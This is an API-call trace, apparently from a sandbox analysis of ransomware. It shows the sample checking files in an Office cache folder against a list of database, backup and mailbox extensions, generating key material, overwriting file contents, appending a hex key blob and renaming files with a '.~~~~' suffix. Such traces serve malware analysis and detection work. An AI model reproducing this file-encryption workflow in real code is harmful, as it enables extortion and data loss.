	[0077.245] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".sdf") returned 0x0
	[0077.245] lstrlenW (lpString=".accdb") returned 6
	[0077.245] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".accdb") returned 0x0
	[0077.245] lstrlenW (lpString=".DBX") returned 4
	[0077.245] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".DBX") returned 0x0
	[0077.245] lstrlenW (lpString=".MDT") returned 4
	[0077.245] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".MDT") returned 0x0
	[0077.245] lstrlenW (lpString=".SQB") returned 4
	[0077.245] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".SQB") returned 0x0
	[0077.245] lstrlenW (lpString=".vhd") returned 4
	[0077.245] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".vhd") returned 0x0
	[0077.245] lstrlenW (lpString=".bac") returned 4
	[0077.246] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".bac") returned 0x0
	[0077.246] lstrlenW (lpString=".mdf") returned 4
	[0077.246] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".mdf") returned 0x0
	[0077.246] lstrlenW (lpString=".BAK") returned 4
	[0077.246] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".BAK") returned 0x0
	[0077.246] lstrlenW (lpString=".BAC") returned 4
	[0077.246] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".BAC") returned 0x0
	[0077.246] lstrlenW (lpString=".dbs") returned 4
	[0077.246] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".dbs") returned 0x0
	[0077.246] lstrlenW (lpString=".vhdx") returned 5
	[0077.246] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".vhdx") returned 0x0
	[0077.246] lstrlenW (lpString=".NDF") returned 4
	[0077.246] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".NDF") returned 0x0
	[0077.246] lstrlenW (lpString=".dat") returned 4
	[0077.246] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".dat") returned 0x0
	[0077.246] lstrlenW (lpString=".DBS") returned 4
	[0077.246] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".DBS") returned 0x0
	[0077.246] lstrlenW (lpString=".CKP") returned 4
	[0077.246] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".CKP") returned 0x0
	[0077.246] lstrlenW (lpString=".edb") returned 4
	[0077.246] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".edb") returned 0x0
	[0077.246] lstrlenW (lpString=".PST") returned 4
	[0077.247] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".PST") returned 0x0
	[0077.247] lstrlenW (lpString=".dbf") returned 4
	[0077.247] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".dbf") returned 0x0
	[0077.247] lstrlenW (lpString=".SQL") returned 4
	[0077.247] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".SQL") returned 0x0
	[0077.247] lstrlenW (lpString=".pst") returned 4
	[0077.247] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".pst") returned 0x0
	[0077.247] lstrlenW (lpString=".dbv") returned 4
	[0077.247] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".dbv") returned 0x0
	[0077.247] lstrlenW (lpString=".SDF") returned 4
	[0077.247] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".SDF") returned 0x0
	[0077.247] lstrlenW (lpString=".dtxs") returned 5
	[0077.247] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".dtxs") returned 0x0
	[0077.247] lstrlenW (lpString=".db3") returned 4
	[0077.247] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".db3") returned 0x0
	[0077.247] lstrlenW (lpString=".OST") returned 4
	[0077.247] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".OST") returned 0x0
	[0077.247] lstrlenW (lpString=".dbx") returned 4
	[0077.247] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".dbx") returned 0x0
	[0077.247] lstrlenW (lpString=".DB3") returned 4
	[0077.247] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".DB3") returned 0x0
	[0077.248] lstrlenW (lpString=".DAT") returned 4
	[0077.248] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".DAT") returned 0x0
	[0077.248] lstrlenW (lpString=".VHDX") returned 5
	[0077.248] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".VHDX") returned 0x0
	[0077.248] lstrlenW (lpString=".ndf") returned 4
	[0077.248] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".ndf") returned 0x0
	[0077.248] lstrlenW (lpString=".DB") returned 3
	[0077.248] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".DB") returned 0x0
	[0077.248] lstrlenW (lpString=".sql") returned 4
	[0077.248] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".sql") returned 0x0
	[0077.248] lstrlenW (lpString=".MYD") returned 4
	[0077.248] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".MYD") returned 0x0
	[0077.248] lstrlenW (lpString=".DBT") returned 4
	[0077.248] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".DBT") returned 0x0
	[0077.248] lstrlenW (lpString=".ACCDB") returned 6
	[0077.248] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".ACCDB") returned 0x0
	[0077.248] lstrlenW (lpString=".fdb") returned 4
	[0077.248] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".fdb") returned 0x0
	[0077.248] lstrlenW (lpString=".bak") returned 4
	[0077.248] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".bak") returned 0x0
	[0077.249] lstrlenW (lpString=".myd") returned 4
	[0077.249] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".myd") returned 0x0
	[0077.249] lstrlenW (lpString=".DTXS") returned 5
	[0077.249] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".DTXS") returned 0x0
	[0077.249] lstrlenW (lpString=".ckp") returned 4
	[0077.249] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".ckp") returned 0x0
	[0077.249] lstrlenW (lpString=".dbt") returned 4
	[0077.249] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".dbt") returned 0x0
	[0077.249] lstrlenW (lpString=".db") returned 3
	[0077.249] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".db") returned 0x0
	[0077.249] lstrlenW (lpString=".TXT") returned 4
	[0077.249] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".TXT") returned 0x0
	[0077.249] lstrlenW (lpString=".MDF") returned 4
	[0077.249] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".MDF") returned 0x0
	[0077.249] lstrlenW (lpString=".bdb") returned 4
	[0077.249] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".bdb") returned 0x0
	[0077.249] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0077.249] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0077.249] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0077.249] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362fe0
	[0077.249] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0077.251] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0077.251] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0077.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0077.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0077.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0077.251] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=19724106031) returned 1
	[0077.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x97f19cd0, dwHighDateTime=0x1d60e1e)) 
	[0077.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0077.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0077.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0077.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac7b0
	[0077.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0077.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac7b0 | out: hHeap=0x300000) returned 1
	[0077.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0077.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0077.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7450
	[0077.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0077.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7850
	[0077.252] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0077.252] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0077.252] GetLastError () returned 0x0
	[0077.252] GetLastError () returned 0x0
	[0077.252] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0077.252] GetLastError () returned 0x0
	[0077.253] GetLastError () returned 0x0
	[0077.254] ReadFile (in: hFile=0x128, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x24dfec0*=0x10b2, lpOverlapped=0x0) returned 1
	[0077.266] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffef4e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0077.266] WriteFile (in: hFile=0x128, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x10b2, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x10b2, lpOverlapped=0x0) returned 1
	[0077.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0077.266] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.266] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0077.266] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0077.267] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0077.267] CloseHandle (hObject=0x128) returned 1
	[0077.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5748
	[0077.267] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.~~~~" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.~~~~")) returned 1
	[0077.268] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5748 | out: hHeap=0x300000) returned 1
	[0077.268] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0077.268] GetLastError () returned 0x0
	[0077.268] RtlWakeConditionVariable () returned 0x365f70
	[0077.268] GetCurrentThreadId () returned 0x3a4
	[0077.268] GetCurrentThreadId () returned 0x3a4
	[0077.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0077.268] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab030 | out: hHeap=0x300000) returned 1
	[0077.268] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac7e8 | out: hHeap=0x300000) returned 1
	[0077.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab030
	[0077.268] lstrlenW (lpString=".scr") returned 4
	[0077.268] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".scr") returned 0x0
	[0077.268] lstrlenW (lpString=".cmd") returned 4
	[0077.268] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".cmd") returned 0x0
	[0077.268] lstrlenW (lpString=".dll") returned 4
	[0077.268] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".dll") returned 0x0
	[0077.268] lstrlenW (lpString=".bat") returned 4
	[0077.268] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".bat") returned 0x0
	[0077.269] lstrlenW (lpString=".cpl") returned 4
	[0077.269] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".cpl") returned 0x0
	[0077.269] lstrlenW (lpString=".sys") returned 4
	[0077.269] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".sys") returned 0x0
	[0077.269] lstrlenW (lpString=".msc") returned 4
	[0077.269] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".msc") returned 0x0
	[0077.269] lstrlenW (lpString=".com") returned 4
	[0077.269] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".com") returned 0x0
	[0077.269] lstrlenW (lpString=".lnk") returned 4
	[0077.269] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".lnk") returned 0x0
	[0077.269] lstrlenW (lpString=".msp") returned 4
	[0077.269] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".msp") returned 0x0
	[0077.269] lstrlenW (lpString=".pif") returned 4
	[0077.269] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".pif") returned 0x0
	[0077.269] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.269] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch="msp\r\n.pif") returned 0x0
	[0077.269] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0077.270] lstrlenW (lpString=".sqb") returned 4
	[0077.270] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".sqb") returned 0x0
	[0077.270] lstrlenW (lpString=".ost") returned 4
	[0077.270] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".ost") returned 0x0
	[0077.270] lstrlenW (lpString=".txt") returned 4
	[0077.270] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".txt") returned 0x0
	[0077.270] lstrlenW (lpString=".mdt") returned 4
	[0077.271] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".mdt") returned 0x0
	[0077.271] lstrlenW (lpString=".BDB") returned 4
	[0077.271] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".BDB") returned 0x0
	[0077.271] lstrlenW (lpString=".eql") returned 4
	[0077.271] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".eql") returned 0x0
	[0077.271] lstrlenW (lpString=".DBF") returned 4
	[0077.271] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".DBF") returned 0x0
	[0077.271] lstrlenW (lpString=".EQL") returned 4
	[0077.271] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".EQL") returned 0x0
	[0077.271] lstrlenW (lpString=".FDB") returned 4
	[0077.271] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".FDB") returned 0x0
	[0077.271] lstrlenW (lpString=".EDB") returned 4
	[0077.271] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".EDB") returned 0x0
	[0077.271] lstrlenW (lpString=".DACPAC") returned 7
	[0077.271] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".DACPAC") returned 0x0
	[0077.271] lstrlenW (lpString=".VHD") returned 4
	[0077.271] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".VHD") returned 0x0
	[0077.271] lstrlenW (lpString=".DBV") returned 4
	[0077.271] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".DBV") returned 0x0
	[0077.271] lstrlenW (lpString=".dacpac") returned 7
	[0077.271] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".dacpac") returned 0x0
	[0077.271] lstrlenW (lpString=".sdf") returned 4
	[0077.271] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".sdf") returned 0x0
	[0077.271] lstrlenW (lpString=".accdb") returned 6
	[0077.272] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".accdb") returned 0x0
	[0077.272] lstrlenW (lpString=".DBX") returned 4
	[0077.272] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".DBX") returned 0x0
	[0077.272] lstrlenW (lpString=".MDT") returned 4
	[0077.272] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".MDT") returned 0x0
	[0077.272] lstrlenW (lpString=".SQB") returned 4
	[0077.272] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".SQB") returned 0x0
	[0077.272] lstrlenW (lpString=".vhd") returned 4
	[0077.272] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".vhd") returned 0x0
	[0077.272] lstrlenW (lpString=".bac") returned 4
	[0077.272] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".bac") returned 0x0
	[0077.272] lstrlenW (lpString=".mdf") returned 4
	[0077.272] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".mdf") returned 0x0
	[0077.272] lstrlenW (lpString=".BAK") returned 4
	[0077.272] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".BAK") returned 0x0
	[0077.272] lstrlenW (lpString=".BAC") returned 4
	[0077.272] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".BAC") returned 0x0
	[0077.272] lstrlenW (lpString=".dbs") returned 4
	[0077.272] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".dbs") returned 0x0
	[0077.272] lstrlenW (lpString=".vhdx") returned 5
	[0077.272] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".vhdx") returned 0x0
	[0077.272] lstrlenW (lpString=".NDF") returned 4
	[0077.272] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".NDF") returned 0x0
	[0077.272] lstrlenW (lpString=".dat") returned 4
	[0077.273] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".dat") returned 0x0
	[0077.273] lstrlenW (lpString=".DBS") returned 4
	[0077.273] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".DBS") returned 0x0
	[0077.273] lstrlenW (lpString=".CKP") returned 4
	[0077.273] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".CKP") returned 0x0
	[0077.273] lstrlenW (lpString=".edb") returned 4
